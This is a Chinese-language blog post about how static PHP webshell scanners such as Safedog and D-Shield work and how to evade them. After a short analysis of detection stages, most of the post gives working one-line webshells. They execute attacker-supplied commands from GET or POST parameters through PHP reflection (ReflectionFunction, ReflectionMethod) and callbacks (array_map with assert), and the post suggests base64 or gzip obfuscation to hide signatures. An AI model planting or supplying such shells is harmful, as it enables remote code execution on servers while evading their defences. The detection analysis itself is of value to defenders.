Php webshell 靜態(tài)查殺總結(jié)

xx狗靜態(tài)查殺大致分析

目前,傳統(tǒng)的WAF軟件主要通過定時或是由管理員手動對網(wǎng)站程序進(jìn)行查殺的主動方式以及當(dāng)請求者瀏覽該文件時由WAF軟件被動的方式進(jìn)行查殺。而查殺的原理主要是通過對目標(biāo)文件的特征與網(wǎng)馬規(guī)則庫進(jìn)行比對。這種查殺原理有它的局限性,攻擊者可以利用腳本語言的特性對已被查殺出來的WebShell進(jìn)行偽裝成類似正常的頁面程序從而避開WAF軟件的查殺。

因為狗的查殺并沒有相關(guān)資料或文檔等。不過,我們?nèi)匀豢梢詮墓返牟闅⒅械玫讲糠纸Y(jié)論。

  • 利用正則表達(dá)式
    這種方法最大的好處就是簡單。但是,正則表達(dá)式最大的缺點(diǎn)就是其只對關(guān)鍵危險函數(shù)進(jìn)行檢查。也就是說,我們將關(guān)鍵函數(shù)稍微通過某種方式變換一下,正則表達(dá)式無法查殺了。而且,這種方法的誤報率也很高。所以,這種方法的查殺效果不是很理想。但是這種方法最大的好處就是簡單,速度快。一般在查殺web目錄下的圖片等文件時使用此種方法。

  • 利用PHP代碼分析技術(shù)
    這種方法最大的好處是解決了正則查殺誤報率過高的問題。在這里,我們可以大致分析一下查殺引擎的工作原理:

    • 對PHP文件做預(yù)處理,去除掉注釋,空格,等沒有用的東西
      我們可以在php中寫入以下內(nèi)容
<?php
/*system("$_get['x']");
*/?>

使用和d盾查殺,發(fā)現(xiàn)沒有查殺出一句話。原來查殺引擎在查殺的時候,會做類似于編譯器的優(yōu)化,去掉一些亂七八糟的東西。也許你會認(rèn)為代碼寫在注釋里,php的編譯器也會做類似優(yōu)化操作,將其去除。而且,代碼在注釋里也不可能運(yùn)行的。所以你可能會認(rèn)為的查殺方式很正確。既簡單又高效,為下一步處理降低了負(fù)擔(dān)。
但是其實(shí)是不正確的。查閱php manual,在PHP 5 >= 5.1.0, PHP 7 中,php官方提供了一個函數(shù)ReflectionClass::getDocComment。簡而言之,這個函數(shù)最主要的作用是獲取php的注釋。我們可以通過這個函數(shù)獲取文檔中注釋,然后通過php的動態(tài)函數(shù)調(diào)用等xxxx各種方法去執(zhí)行我們所獲取到的代碼。

  • 對上一步預(yù)處理所得到的結(jié)果做詞法分析
    以下代碼
  $a="system(@$_get['x'])"

 system(@$_get['x'])
我們使用查殺引擎分別去查殺這兩個文件。結(jié)果顯而易見,第一個沒有辦法去查殺,而第二個一定會被查殺。由此,我們可以得出結(jié)論,查殺引擎會對php文件做詞法分析,然后只對相關(guān)函數(shù)調(diào)用等再做進(jìn)一步查殺。而類似于字符串等這樣變量,查殺引擎基本上會直接將其舍棄。不再做進(jìn)一步分析
  • 對上一步結(jié)果進(jìn)行語法分析
    從這一步開始,查殺引擎開始對相關(guān)函數(shù)的調(diào)用進(jìn)行語法分析。分析變量作用域,函數(shù)參數(shù)調(diào)用等。再與webshell特征庫進(jìn)行比對,用以確定是否為webshell文件。

在查殺引擎中,基本上會對if等條件控制條件直接跳過,直接分析里面的代碼。例如下面的例子

if (false)
  {
    system('@$_get['x']');
}

這段代碼在php文件進(jìn)行編譯的時候,會對其進(jìn)行分支優(yōu)化。也就是說,這段代碼因為if語句中為false,屬于死碼,永遠(yuǎn)不會運(yùn)行,所以編譯器會將其刪除掉。但是換做查殺引擎,會直接查殺并報警。據(jù)我猜測,php的控制流程跳轉(zhuǎn)那么多,如果查殺引擎也像編譯器那樣做分支結(jié)構(gòu)的優(yōu)化,勢必會造成查殺效率的降低。所以沒辦法,只好不管分支結(jié)構(gòu),直接查殺。


躲避查殺的方法

上面大致介紹了兩種查殺引擎的辦法,雖然比較粗略,但是也給了我們躲避查殺的思路。那就是,想辦法隱藏關(guān)鍵的特征碼。

  • 利用php反射技術(shù)
    反射是在PHP運(yùn)行狀態(tài)中,擴(kuò)展分析PHP程序,導(dǎo)出或提取出關(guān)于類、方法、屬性、參數(shù)等的詳細(xì)信息,包括注釋。這種動態(tài)獲取的信息以及動態(tài)調(diào)用對象的方法的功能稱為反射API。反射是操縱面向?qū)ο蠓缎椭性P偷腁PI,其功能十分強(qiáng)大,可幫助我們構(gòu)建復(fù)雜,可擴(kuò)展的應(yīng)用。其用途如:自動加載插件,自動生成文檔,甚至可用來擴(kuò)充PHP語言。
    也就是說,我們可以利用反射去加載system函數(shù),通過反射去傳參。因為在反射中,system這個特征碼只不過是字符串,所以我們很容易對其進(jìn)行加解密等操作去躲開查殺引擎的查殺。
    過狗例子

<?php$func = new ReflectionFunction("system");
echo $func->invokeArgs(array("$_GET[c]"));?>

 這個安全狗查不到,但是d盾可以查到,而d盾查殺結(jié)果是可疑函數(shù)調(diào)用,基本上等于沒查到。下面來一段d盾和都查不到的shell

<?php
class HelloWorld {

public function sayHelloTo($name) { 
    $last_line = system($name);
            return $last_line;
}

}
$a=$_GET["a"];
$reflectionMethod = new ReflectionMethod('HelloWorld', 'sayHelloTo');
echo $reflectionMethod->invoke(new HelloWorld(), $a);
?>

利用反射類中函數(shù)的辦法去執(zhí)行危險函數(shù)
- 利用php的callback方法
自 PHP 5.4 起可用[callable](http://php.net/manual/zh/language.types.callable.php)類型指定回調(diào)類型 callback。本文檔基于同樣理由使用[callback](http://php.net/manual/zh/language.pseudo-types.php#language.types.callback)類型信息。
一些函數(shù)如[call_user_func()](http://php.net/manual/zh/function.call-user-func.php)或[usort()](http://php.net/manual/zh/function.usort.php)可以接受用戶自定義的回調(diào)函數(shù)作為參數(shù)。回調(diào)函數(shù)不止可以是簡單函數(shù),還可以是對象的方法,包括靜態(tài)類方法。
也就是說,callback也可以接受一個字符串變量,并將其作為函數(shù)去執(zhí)行。下面是例子

<?php
$a=array(@$_POST['a']);
echo array_map("assert",$a);
?>

在php中回調(diào)函數(shù)有很多,打開php的官方手冊,找到支持callback的函數(shù),基本上都可以用來做過狗一句話

-  特征碼的變形隱藏
在上面的例子中,我們已經(jīng)成功的將函數(shù)調(diào)用轉(zhuǎn)換為字符串類型,然后通過反射等方式去執(zhí)行。但是我們還需要躲避正則匹配等查殺引擎,這里還需要對特征碼變形。當(dāng)然了,這里變形的操作就很多了,例如base64加密,gzip壓縮,或者,也可以自己寫一段加解密字符串的函數(shù)。這里就不詳細(xì)介紹了。
****
過狗的例子有很多,這里只不過給出思路。php作為一門弱類型的語言,可擴(kuò)展性,靈活性比java一類等語言強(qiáng)很多。但是過于靈活也會導(dǎo)致很多安全問題。在靜態(tài)查殺中,很容易躲避查殺,造成漏報等問題。所以在安全狗的博客中,也講了靜態(tài)查殺不太靠譜,還是防御好黑客上傳shell才是正道,使其沒有上傳webshell的機(jī)會。

初次寫文章,有些地方可能會有技術(shù)上的問題,望大牛斧正批評。也望各路大神交流過狗思路,共同學(xué)習(xí)進(jìn)步。

參考資料
1.http://blog.safedog.cn/?p=77  一種理想的網(wǎng)站木馬防護(hù)思路探究
2.http://php.net/manual/zh/language.types.callable.php phpcallback
3.https://secure.php.net/manual/zh/reflectionfunction.invoke.php php反射
4.https://security.tencent.com/index.php/blog/msg/58 TSRC挑戰(zhàn)賽: PHP防御繞過挑戰(zhàn)實(shí)錄
5.http://wrox.cn/article/100032494/  未知攻焉知防 — Webshell變形技術(shù)集錦
最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容